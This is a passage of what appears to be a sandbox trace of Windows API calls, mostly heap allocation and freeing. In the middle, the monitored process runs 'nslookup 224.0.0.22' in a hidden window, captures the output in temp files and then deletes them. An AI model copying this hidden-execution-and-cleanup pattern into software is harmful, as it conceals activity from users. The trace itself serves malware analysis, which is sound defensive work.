0x90d378 [0050.204] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219ac8 [0050.204] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d368 [0050.204] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219a80 [0050.204] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219840) returned 1 [0050.204] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d258) returned 1 [0050.204] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219960) returned 1 [0050.204] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d578) returned 1 [0050.204] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d98) returned 1 [0050.204] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d318) returned 1 [0050.204] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197f8) returned 1 [0050.204] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d328) returned 1 [0050.204] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d660) returned 1 [0050.204] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219c78) returned 1 [0050.205] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3d8) returned 1 [0050.205] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219c30) returned 1 [0050.205] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3c8) returned 1 [0050.205] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219be8) returned 1 [0050.205] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3b8) returned 1 [0050.205] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219ba0) returned 1 [0050.205] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3a8) returned 1 [0050.205] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d630) returned 1 [0050.205] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d630 [0050.205] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3a8 [0050.205] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219ba0 [0050.205] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3b8 [0050.205] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219be8 [0050.205] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3c8 [0050.205] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219c30 [0050.205] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3d8 [0050.205] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219c78 [0050.205] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b58) returned 1 [0050.205] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d398) returned 1 [0050.205] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b10) returned 1 [0050.205] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d388) returned 1 [0050.205] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219ac8) returned 1 [0050.205] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d378) returned 1 [0050.205] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219a80) returned 1 [0050.205] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d368) returned 1 [0050.205] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d648) returned 1 [0050.205] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219a80 [0050.205] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219a80) returned 1 [0050.205] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219a80 [0050.205] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219a80) returned 1 [0050.205] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219a80 [0050.205] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219a80) returned 1 [0050.205] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219a80 [0050.205] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219a80) returned 1 [0050.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2219d50, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0050.206] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0050.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2219d50, cbMultiByte=10, lpWideCharStr=0x90eb70, cchWideChar=10 | out: lpWideCharStr="224.0.0.22") returned 10 [0050.206] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ebf8 [0050.206] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0050.206] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ebf8) returned 1 [0050.206] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ebf8 [0050.206] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x22140f0 [0050.206] CryptAcquireContextW (in: phProv=0x53f5b4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b4*=0x743fa0) returned 1 [0050.207] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c8 | out: pbBuffer=0x53f5c8) returned 1 [0050.207] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0050.207] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0050.207] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0050.208] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0050.208] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0050.208] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0050.208] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0050.208] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0050.208] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="v", uUnique=0x0, lpTempFileName=0x22140f0 | out: lpTempFileName="C:\\Windows\\TEMP\\vC344.tmp" (normalized: "c:\\windows\\temp\\vc344.tmp")) returned 0xc344 [0050.209] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0050.209] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x22144f8 [0050.209] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\vC344.tmp", lpszShortPath=0x22144f8, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\vC344.tmp") returned 0x19 [0050.209] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22140f0) returned 1 [0050.209] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ebf8) returned 1 [0050.209] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ebf8 [0050.209] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x22140f0 [0050.209] CryptAcquireContextW (in: phProv=0x53f5b4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b4*=0x743fa0) returned 1 [0050.210] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c8 | out: pbBuffer=0x53f5c8) returned 1 [0050.210] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0050.210] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0050.210] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0050.211] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0050.211] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0050.211] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="A", uUnique=0x0, lpTempFileName=0x22140f0 | out: lpTempFileName="C:\\Windows\\TEMP\\AC345.tmp" (normalized: "c:\\windows\\temp\\ac345.tmp")) returned 0xc345 [0050.211] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0050.212] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x2214900 [0050.212] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\AC345.tmp", lpszShortPath=0x2214900, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\AC345.tmp") returned 0x19 [0050.212] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22140f0) returned 1 [0050.212] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ebf8) returned 1 [0050.212] CreateFileW (lpFileName="C:\\Windows\\TEMP\\vC344.tmp" (normalized: "c:\\windows\\temp\\vc344.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x53f664, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x144 [0050.212] CreateFileW (lpFileName="C:\\Windows\\TEMP\\AC345.tmp" (normalized: "c:\\windows\\temp\\ac345.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x53f664, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0050.212] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\\\nslookup.exe", lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 224.0.0.22", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x53f6a4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x144, hStdError=0x148), lpProcessInformation=0x53f670 | out: lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 224.0.0.22", lpProcessInformation=0x53f670*(hProcess=0x150, hThread=0x14c, dwProcessId=0xb6c, dwThreadId=0xb70)) returned 1 [0050.216] NtClose (Handle=0x14c) returned 0x0 [0050.216] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xea60) returned 0x0 [0051.104] NtClose (Handle=0x144) returned 0x0 [0051.110] NtClose (Handle=0x148) returned 0x0 [0051.111] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ebf8 [0051.113] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\vC344.tmp" (normalized: "c:\\windows\\temp\\vc344.tmp"), fInfoLevelId=0x0, lpFileInformation=0x53f5bc | out: lpFileInformation=0x53f5bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32e29f50, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x32e29f50, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x336caf10, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x5c)) returned 1 [0051.116] CreateFileW (lpFileName="C:\\Windows\\TEMP\\vC344.tmp" (normalized: "c:\\windows\\temp\\vc344.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0051.119] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x53f600, lpLastWriteTime=0x53f600) returned 0 [0051.120] GetFileSize (in: hFile=0x148, lpFileSizeHigh=0x53f5ec | out: lpFileSizeHigh=0x53f5ec*=0x0) returned 0x5c [0051.122] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x53f5f8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x53f5f8*=0) returned 0x0 [0051.123] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0051.124] ReadFile (in: hFile=0x148, lpBuffer=0x90eb70, nNumberOfBytesToRead=0x5c, lpNumberOfBytesRead=0x53f62c, lpOverlapped=0x0 | out: lpBuffer=0x90eb70*, lpNumberOfBytesRead=0x53f62c*=0x5c, lpOverlapped=0x0) returned 1 [0051.124] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ec80 [0051.126] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0051.127] NtClose (Handle=0x148) returned 0x0 [0051.129] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\vC344.tmp" (normalized: "c:\\windows\\temp\\vc344.tmp"), fInfoLevelId=0x0, lpFileInformation=0x53f5fc | out: lpFileInformation=0x53f5fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32e29f50, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x32e29f50, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x336caf10, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x5c)) returned 1 [0051.131] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\vC344.tmp", dwFileAttributes=0x80) returned 1 [0051.135] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\vC344.tmp" (normalized: "c:\\windows\\temp\\vc344.tmp")) returned 1 [0051.155] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\AC345.tmp" (normalized: "c:\\windows\\temp\\ac345.tmp"), fInfoLevelId=0x0, lpFileInformation=0x53f5fc | out: lpFileInformation=0x53f5fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32e29f50, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x32e29f50, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x32e29f50, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0051.158] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\AC345.tmp", dwFileAttributes=0x80) returned 1 [0051.162] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\AC345.tmp" (normalized: "c:\\windows\\temp\\ac345.tmp")) returned 1 [0051.166] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0051.168] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ec80) returned 1 [0051.169] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ebf8) returned 1 [0051.170] NtClose (Handle=0x150) returned 0x0 [0051.171] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2214900) returned 1 [0051.171] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22144f8) returned 1 [0051.172] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ebf8 [0051.173] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ebf8) returned 1 [0051.173] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0051.173] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219a80 [0051.174] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d648 [0051.175] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d368 [0051.175] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219ac8 [0051.176] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219a80) returned 1 [0051.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219a80 [0051.177] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d378 [0051.177] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b10 [0051.178] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219a80) returned 1 [0051.179] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219a80 [0051.179] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d388 [0051.179] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b58 [0051.180] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219a80) returned 1 [0051.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219a80 [0051.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d398 [0051.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197f8 [0051.181] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219a80) returned 1 [0051.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219a80 [0051.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x20) returned 0x90ffc0 [0051.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d648) returned 1 [0051.184] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d328 [0051.185] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d98 [0051.186] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219a80) returned 1 [0051.186] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219a80 [0051.187] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d318 [0051.187] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219960 [0051.187] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219a80) returned 1 [0051.188] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d578 [0051.189] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219a80 [0051.189] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x20) returned 0x90bc08 [0051.190] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d258 [0051.191] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219840 [0051.191] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d358 [0051.192] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219a38 [0051.193] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d468 [0051.193] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0051.193] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d4c8 [0051.194] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219e28 [0051.195] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d4b8 [0051.197] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219888 [0051.197] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3f8 [0051.198] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22199a8 [0051.199] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d268 [0051.199] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d08 [0051.200] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219ac8) returned 1 [0051.200] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d368) returned 1 [0051.201] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b10) returned 1 [0051.202] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d378) returned 1 [0051.203] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b58) returned 1 [0051.203] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d388) returned 1 [0051.204] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197f8) returned 1 [0051.204] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d398) returned 1 [0051.208] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d98) returned 1 [0051.208] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d328) returned 1 [0051.209] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219960) returned 1 [0051.209] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d318) returned 1 [0051.210] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219a80) returned 1 [0051.210] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d578) returned 1 [0051.211] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ffc0) returned 1 [0051.212] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219ba0) returned 1 [0051.213] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3a8) returned 1 [0051.214] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219be8) returned 1 [0051.214] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3b8) returned 1 [0051.214] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219c30) returned 1 [0051.215] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3c8) returned 1 [0051.215] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219c78) returned 1 [0051.216] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3d8) returned 1 [0051.216] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d630) returned 1 [0051.217] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x20) returned 0x90ffc0 [0051.217] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3d8 [0051.218] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219c78 [0051.219] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3c8 [0051.220] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219c30 [0051.220] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3b8 [0051.222] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219be8 [0051.222] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3a8 [0051.223] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219ba0 [0051.223] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d578 [0051.223] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219a80 [0051.224] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d318 [0051.225] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219960 [0051.225] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d328 [0051.226] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d98 [0051.226] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219840) returned 1 [0051.227] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d258) returned 1 [0051.227] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219a38) returned 1 [0051.228] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d358) returned 1 [0051.228] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0051.229] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d468) returned 1 [0051.229] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219e28) returned 1 [0051.229] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d4c8) returned 1 [0051.230] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219888) returned 1 [0051.230] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d4b8) returned 1 [0051.231] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22199a8) returned 1 [0051.231] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3f8) returned 1 [0051.232] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d08) returned 1 [0051.232] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d268) returned 1 [0051.233] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bc08) returned 1 [0051.233] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d08 [0051.234] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d08) returned 1 [0051.234] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d08 [0051.235] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d08) returned 1 [0051.235] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d08 [0051.236] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d08) returned 1 [0051.237] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d08 [0051.237] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22199a8 [0051.237] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219888 [0051.239] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22199a8) returned 1 [0051.239] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22199a8 [0051.239] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22199a8) returned 1 [0051.241] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219888) returned 1 [0051.242] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d630 [0051.242] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d268 [0051.244] RtlAllocateHeap 